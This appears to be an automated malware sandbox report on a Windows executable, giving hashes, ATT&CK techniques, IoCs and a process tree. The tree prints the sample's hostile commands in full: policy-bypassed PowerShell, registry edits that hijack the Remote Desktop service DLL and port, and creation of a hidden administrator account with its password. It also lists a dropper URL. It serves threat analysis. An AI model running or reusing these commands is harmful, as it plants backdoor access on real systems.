ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

Target

472208d7ba18d4c14b7e90b9db5d6feb.exe
Size

5.9MB
MD5

472208d7ba18d4c14b7e90b9db5d6feb
SHA1

ff24cc43998ff99e61b1a838e1d51c4888498935
SHA256

ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
SHA512

9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
19	4060	powershell.exe
21	4060	powershell.exe
22	4060	powershell.exe
23	4060	powershell.exe
25	4060	powershell.exe
27	4060	powershell.exe
29	4060	powershell.exe
31	4060	powershell.exe
33	4060	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a00000001ab20-347.dat	upx
behavioral2/files/0x000200000001a2ad-348.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
4044	Process not Found
4044	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_0xgmxbov.hqa.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4622.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4642.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4653.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4684.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4673.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_4d1wes5w.ykw.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\IE5_UA_Backup_Flag = "5.0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2180	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
300	powershell.exe
300	powershell.exe
300	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
2304	powershell.exe
2304	powershell.exe
2304	powershell.exe
2272	powershell.exe
2272	powershell.exe
2272	powershell.exe
300	powershell.exe
300	powershell.exe
300	powershell.exe
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
596	Process not Found
596	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3664	472208d7ba18d4c14b7e90b9db5d6feb.exe
Token: SeDebugPrivilege	300	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeIncreaseQuotaPrivilege	3656	powershell.exe
Token: SeSecurityPrivilege	3656	powershell.exe
Token: SeTakeOwnershipPrivilege	3656	powershell.exe
Token: SeLoadDriverPrivilege	3656	powershell.exe
Token: SeSystemProfilePrivilege	3656	powershell.exe
Token: SeSystemtimePrivilege	3656	powershell.exe
Token: SeProfSingleProcessPrivilege	3656	powershell.exe
Token: SeIncBasePriorityPrivilege	3656	powershell.exe
Token: SeCreatePagefilePrivilege	3656	powershell.exe
Token: SeBackupPrivilege	3656	powershell.exe
Token: SeRestorePrivilege	3656	powershell.exe
Token: SeShutdownPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeSystemEnvironmentPrivilege	3656	powershell.exe
Token: SeRemoteShutdownPrivilege	3656	powershell.exe
Token: SeUndockPrivilege	3656	powershell.exe
Token: SeManageVolumePrivilege	3656	powershell.exe
Token: 33	3656	powershell.exe
Token: 34	3656	powershell.exe
Token: 35	3656	powershell.exe
Token: 36	3656	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeIncreaseQuotaPrivilege	2304	powershell.exe
Token: SeSecurityPrivilege	2304	powershell.exe
Token: SeTakeOwnershipPrivilege	2304	powershell.exe
Token: SeLoadDriverPrivilege	2304	powershell.exe
Token: SeSystemProfilePrivilege	2304	powershell.exe
Token: SeSystemtimePrivilege	2304	powershell.exe
Token: SeProfSingleProcessPrivilege	2304	powershell.exe
Token: SeIncBasePriorityPrivilege	2304	powershell.exe
Token: SeCreatePagefilePrivilege	2304	powershell.exe
Token: SeBackupPrivilege	2304	powershell.exe
Token: SeRestorePrivilege	2304	powershell.exe
Token: SeShutdownPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeSystemEnvironmentPrivilege	2304	powershell.exe
Token: SeRemoteShutdownPrivilege	2304	powershell.exe
Token: SeUndockPrivilege	2304	powershell.exe
Token: SeManageVolumePrivilege	2304	powershell.exe
Token: 33	2304	powershell.exe
Token: 34	2304	powershell.exe
Token: 35	2304	powershell.exe
Token: 36	2304	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeIncreaseQuotaPrivilege	2272	powershell.exe
Token: SeSecurityPrivilege	2272	powershell.exe
Token: SeTakeOwnershipPrivilege	2272	powershell.exe
Token: SeLoadDriverPrivilege	2272	powershell.exe
Token: SeSystemProfilePrivilege	2272	powershell.exe
Token: SeSystemtimePrivilege	2272	powershell.exe
Token: SeProfSingleProcessPrivilege	2272	powershell.exe
Token: SeIncBasePriorityPrivilege	2272	powershell.exe
Token: SeCreatePagefilePrivilege	2272	powershell.exe
Token: SeBackupPrivilege	2272	powershell.exe
Token: SeRestorePrivilege	2272	powershell.exe
Token: SeShutdownPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeSystemEnvironmentPrivilege	2272	powershell.exe
Token: SeRemoteShutdownPrivilege	2272	powershell.exe
Token: SeUndockPrivilege	2272	powershell.exe
Token: SeManageVolumePrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3664 wrote to memory of 300	3664	472208d7ba18d4c14b7e90b9db5d6feb.exe	76
PID 3664 wrote to memory of 300	3664	472208d7ba18d4c14b7e90b9db5d6feb.exe	76
PID 300 wrote to memory of 3464	300	powershell.exe	78
PID 300 wrote to memory of 3464	300	powershell.exe	78
PID 3464 wrote to memory of 1456	3464	csc.exe	79
PID 3464 wrote to memory of 1456	3464	csc.exe	79
PID 300 wrote to memory of 3656	300	powershell.exe	80
PID 300 wrote to memory of 3656	300	powershell.exe	80
PID 300 wrote to memory of 2304	300	powershell.exe	83
PID 300 wrote to memory of 2304	300	powershell.exe	83
PID 300 wrote to memory of 2272	300	powershell.exe	85
PID 300 wrote to memory of 2272	300	powershell.exe	85
PID 300 wrote to memory of 2320	300	powershell.exe	87
PID 300 wrote to memory of 2320	300	powershell.exe	87
PID 300 wrote to memory of 2180	300	powershell.exe	88
PID 300 wrote to memory of 2180	300	powershell.exe	88
PID 300 wrote to memory of 3816	300	powershell.exe	89
PID 300 wrote to memory of 3816	300	powershell.exe	89
PID 300 wrote to memory of 1968	300	powershell.exe	90
PID 300 wrote to memory of 1968	300	powershell.exe	90
PID 1968 wrote to memory of 3900	1968	net.exe	91
PID 1968 wrote to memory of 3900	1968	net.exe	91
PID 300 wrote to memory of 3580	300	powershell.exe	92
PID 300 wrote to memory of 3580	300	powershell.exe	92
PID 3580 wrote to memory of 3312	3580	cmd.exe	93
PID 3580 wrote to memory of 3312	3580	cmd.exe	93
PID 3312 wrote to memory of 1856	3312	cmd.exe	94
PID 3312 wrote to memory of 1856	3312	cmd.exe	94
PID 1856 wrote to memory of 2784	1856	net.exe	95
PID 1856 wrote to memory of 2784	1856	net.exe	95
PID 300 wrote to memory of 2352	300	powershell.exe	96
PID 300 wrote to memory of 2352	300	powershell.exe	96
PID 2352 wrote to memory of 1408	2352	cmd.exe	97
PID 2352 wrote to memory of 1408	2352	cmd.exe	97
PID 1408 wrote to memory of 2240	1408	cmd.exe	98
PID 1408 wrote to memory of 2240	1408	cmd.exe	98
PID 2240 wrote to memory of 588	2240	net.exe	99
PID 2240 wrote to memory of 588	2240	net.exe	99
PID 2860 wrote to memory of 3288	2860	cmd.exe	103
PID 2860 wrote to memory of 3288	2860	cmd.exe	103
PID 3288 wrote to memory of 3140	3288	net.exe	104
PID 3288 wrote to memory of 3140	3288	net.exe	104
PID 3816 wrote to memory of 1968	3816	cmd.exe	107
PID 3816 wrote to memory of 1968	3816	cmd.exe	107
PID 1968 wrote to memory of 2892	1968	net.exe	108
PID 1968 wrote to memory of 2892	1968	net.exe	108
PID 1396 wrote to memory of 3252	1396	cmd.exe	111
PID 1396 wrote to memory of 3252	1396	cmd.exe	111
PID 3252 wrote to memory of 1180	3252	net.exe	112
PID 3252 wrote to memory of 1180	3252	net.exe	112
PID 2780 wrote to memory of 3656	2780	cmd.exe	115
PID 2780 wrote to memory of 3656	2780	cmd.exe	115
PID 3656 wrote to memory of 2860	3656	net.exe	116
PID 3656 wrote to memory of 2860	3656	net.exe	116
PID 2368 wrote to memory of 1548	2368	cmd.exe	119
PID 2368 wrote to memory of 1548	2368	cmd.exe	119
PID 1548 wrote to memory of 3816	1548	net.exe	120
PID 1548 wrote to memory of 3816	1548	net.exe	120
PID 2272 wrote to memory of 2200	2272	cmd.exe	123
PID 2272 wrote to memory of 2200	2272	cmd.exe	123
PID 2200 wrote to memory of 1396	2200	net.exe	124
PID 2200 wrote to memory of 1396	2200	net.exe	124
PID 2304 wrote to memory of 3748	2304	cmd.exe	127
PID 2304 wrote to memory of 3748	2304	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:300
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cxy0z5je\cxy0z5je.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3464
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF4C.tmp" "c:\Users\Admin\AppData\Local\Temp\cxy0z5je\CSC2711327840E84D67AC10C09FEDF1C4E4.TMP"
      4⤵
      PID:1456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2320
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2180
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:3816
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1968
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3312
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1856
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1408
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2240
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:588
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4092
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4036

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3140

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7IbL5mSj /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3816
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7IbL5mSj /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7IbL5mSj /add
    3⤵
    PID:2892

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1180

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
    3⤵
    PID:2860

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3816

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 7IbL5mSj
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 7IbL5mSj
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 7IbL5mSj
    3⤵
    PID:1396

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:3748

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2428
